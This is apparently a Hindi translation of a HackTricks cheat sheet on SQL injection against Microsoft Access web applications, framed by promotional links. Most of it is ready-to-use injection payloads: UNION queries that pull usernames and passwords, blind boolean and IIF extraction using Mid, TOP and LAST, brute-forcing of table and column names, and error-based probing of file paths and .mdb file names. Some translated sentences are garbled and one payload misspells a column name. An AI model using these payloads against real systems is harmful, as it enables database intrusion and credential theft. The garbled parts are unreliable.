19 KiB
MS Access SQL Injection
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
-
खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
-
प्राप्त करें आधिकारिक PEASS & HackTricks swag
-
शामिल हों 💬 Discord समूह या टेलीग्राम समूह या फॉलो करें मुझे Twitter 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके साझा करें।
ऑनलाइन प्लेग्राउंड
डेटाबेस सीमाएं
स्ट्रिंग कनकटनेशन
स्ट्रिंग कनकटनेशन & (%26)
और + (%2b)
चरित्रों के साथ संभव है।
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
टिप्पणियाँ
MS एक्सेस में कोई टिप्पणी नहीं होती है, लेकिन दिखता है कि एक क्वेरी को एक NULL चार के साथ हटाना संभव है:
1' union select 1,2 from table%00
यदि यह काम नहीं कर रहा है, तो आप हमेशा क्वेरी की सिंटैक्स को सही कर सकते हैं:
1' UNION SELECT 1,2 FROM table WHERE ''='
स्टैक्ड क्वेरी
वे समर्थित नहीं हैं।
सीमा
LIMIT
ऑपरेटर लागू नहीं है। हालांकि, SELECT क्वेरी के परिणामों को पहले N टेबल पंक्तियों तक सीमित करना संभव है, TOP
ऑपरेटर का उपयोग करके। TOP
एक पूर्णांक को एक तार्किक मान के रूप में स्वीकार करता है, जो पंक्तियों की संख्या को प्रतिष्ठान करता है जो वापस की जाएगी।
1' UNION SELECT TOP 3 attr FROM table%00
टॉप की तरह आप LAST
का उपयोग कर सकते हैं जो अंत से पंक्तियों को प्राप्त करेगा।
यूनियन क्वेरी/सब क्वेरी
SQLi में आप आमतौर पर किसी नई क्वेरी को कैसे निष्पादित करेंगे ताकि आप अन्य तालिकाओं से जानकारी निकाल सकें। MS Access हमेशा यह आवश्यक करता है कि सबक्वेरी या अतिरिक्त क्वेरी में FROM
दिखाया जाए।
तो, यदि आप UNION SELECT
या UNION ALL SELECT
या एक स्थिति में ब्रैकेट के बीच SELECT
निष्पादित करना चाहते हैं, तो आपको हमेशा एक मान्य तालिका नाम के साथ FROM
दिखाना होगा।
इसलिए, आपको एक मान्य तालिका नाम को जानने की आवश्यकता होगी।
-1' UNION SELECT username,password from users%00
बराबरी + उपस्थिति का जोड़ना
{% hint style="warning" %} इससे आपको वर्तमान तालिका के मानों को नाम के बिना जाने बाहर निकालने की अनुमति मिलेगी। {% endhint %}
MS Access ऐसी अजीब सिंटैक्स की अनुमति देता है जैसे '1'=2='3'='asd'=false
। जैसा कि सामान्यतः SQL इंजेक्शन WHERE
क्लॉज में होगा, हम इसका दुरुपयोग कर सकते हैं।
सोचिए आपके पास एक MS Access डेटाबेस में SQLi है और आपको (या आपने अनुमान लगाया है) पता है कि एक कॉलम का नाम username है, और यही फ़ील्ड आप बाहर निकालना चाहते हैं। आप बराबरी की तकनीक का उपयोग करके वेब ऐप के विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं जब बूलियन इंजेक्शन का उपयोग किया जाता है और Mid
फ़ंक्शन का उपयोग करके उपस्थिति को प्राप्त कर सकते हैं।
'=(Mid(username,1,3)='adm')='
यदि आपको टेबल का नाम और कॉलम ज्ञात है, तो आप Mid
, LAST
और TOP
के बीच का संयोजन का उपयोग करके बूलियन SQLi के माध्यम से सभी जानकारी लीक कर सकते हैं:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
ऑनलाइन प्लेग्राउंड में इसे जांचने के लिए स्वतंत्र महसूस करें।
टेबल नामों को ब्रूटफोर्स करना
चेनिंग इक्वल्स तकनीक का उपयोग करके आप कुछ इस तरह से टेबल नामों को ब्रूटफोर्स कर सकते हैं:
'=(select+top+1+'lala'+from+<table_name>)='
आप एक और पारंपरिक तरीका भी उपयोग कर सकते हैं:
-1' AND (SELECT TOP 1 <table_name>)%00
ऑनलाइन प्लेग्राउंड में इसे जांचने के लिए मुक्त महसूस करें।
- Sqlmap सामान्य तालिका नाम: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html में एक और सूची है।
कॉलम नामों को ब्रूट-फोर्स करना
आप वर्तमान कॉलम नामों को ब्रूट-फोर्स कर सकते हैं चेनिंग बराबर ट्रिक के साथ:
'=column_name='
या एक ग्रुप द्वारा:
-1' GROUP BY column_name%00
या आप इसके साथ एक अलग तालिका के कॉलम नामों को ब्रूट-फोर्स कर सकते हैं:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
डेटा निकालना
हम पहले से ही बराबरी तकनीक को जोड़ने की तकनीक की चर्चा कर चुके हैं वर्तमान और अन्य तालिकाओं से डेटा निकालने के लिए। लेकिन इसके अलावा भी और तरीके हैं:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
संक्षेप में, क्वेरी में "अगर-तो" कथन का उपयोग करके सफलता के मामले में "200 OK" को ट्रिगर करने या अन्यथा "500 आंतरिक त्रुटि" को ट्रिगर करने के लिए किया जाता है। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन करना संभव है। LAST के बाद का उपयोग करके केवल 10वें टपल को विचार करने की अनुमति होती है। इस प्रकार के मान पर, MID ऑपरेटर का उपयोग करके एक सरल वर्ण तुलना करना संभव होता है। MID और TOP के सूचकांक को ठीक से बदलकर, हम सभी पंक्तियों के लिए "उपयोगकर्ता नाम" क्षेत्र की सामग्री डंप कर सकते हैं।
समय आधारित
https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN पर जांच करें
अन्य दिलचस्प फ़ंक्शन
Mid('admin',1,1)
पद 1 लंबाई 1 से उपस्थिति से उपस्थिति लाने के लिए उपस्थिति से उपस्थिति लाने के लिए उपयोग करें (प्रारंभिक स्थान 1 है)LEN('1234')
स्ट्रिंग की लंबाई प्राप्त करेंASC('A')
चार के ASCII मान प्राप्त करेंCHR(65)
ASCII मान से स्ट्रिंग प्राप्त करेंIIF(1=1,'a','b')
अगर तोCOUNT(*)
आइटमों की संख्या की गणना करें
सारणीबद्धीकरण
यहां से यहां आप टेबल के नाम प्राप्त करने के लिए एक क्वेरी देख सकते हैं:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
यहां ध्यान दें कि आपको ऐसे SQL Injections भी मिल सकते हैं जहां आपको टेबल MSysObjects
को पढ़ने का एक्सेस नहीं होता है।
FileSystem एक्सेस
वेब रूट डायरेक्टरी का पूरा पथ
वेब रूट एक्सेस पथ की जानकारी आगे के हमलों को सुगम बना सकती है। यदि एप्लिकेशन त्रुटियों को पूरी तरह से छिपाया नहीं जाता है, तो डायरेक्टरी पथ को अनदेखा करने के लिए अस्तित्वहीन डेटाबेस से डेटा का चयन करने का प्रयास किया जा सकता है।
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access एक त्रुटि संदेश द्वारा वेब डायरेक्टरी पूरा पथनाम के साथ प्रतिक्रिया करता है।
फ़ाइल गणना
निम्नलिखित हमला वेक्टर का उपयोग करके दूरस्थ फ़ाइल सिस्टम पर फ़ाइल के अस्तित्व का अनुमान लगाया जा सकता है। यदि निर्दिष्ट फ़ाइल मौजूद है, तो MS Access एक त्रुटि संदेश ट्रिगर करता है जिसमें बताया जाता है कि डेटाबेस प्रारूप अमान्य है:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
फ़ाइलों की गणना करने का एक और तरीका डेटाबेस.टेबल आइटम को निर्दिष्ट करने में समारोहित है। यदि निर्दिष्ट फ़ाइल मौजूद है, तो MS Access एक डेटाबेस प्रारूप त्रुटि संदेश प्रदर्शित करता है।
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb फ़ाइल का नाम अनुमान
निम्नलिखित क्वेरी का उपयोग करके डेटाबेस फ़ाइल का नाम (.mdb) अनुमान लगाया जा सकता है:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
यहां name[i] एक .mdb फ़ाइलनाम है और realTable डेटाबेस के भीतर मौजूद एक मान्य टेबल है। MS Access हमेशा एक त्रुटि संदेश ट्रिगर करेगा, लेकिन एक अमान्य फ़ाइलनाम और एक मान्य .mdb फ़ाइलनाम के बीच अंतर को पहचाना जा सकता है।
.mdb पासवर्ड क्रैकर
Access PassView एक मुफ्त उपयोगीता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 के मुख्य डेटाबेस पासवर्ड को पुनर्प्राप्त करने के लिए किया जा सकता है।
संदर्भ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए? SUBSCRIPTION PLANS की जांच करें!
-
खोजें The PEASS Family, हमारा विशेष NFT संग्रह
-
प्राप्त करें आधिकारिक PEASS और HackTricks swag
-
शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके।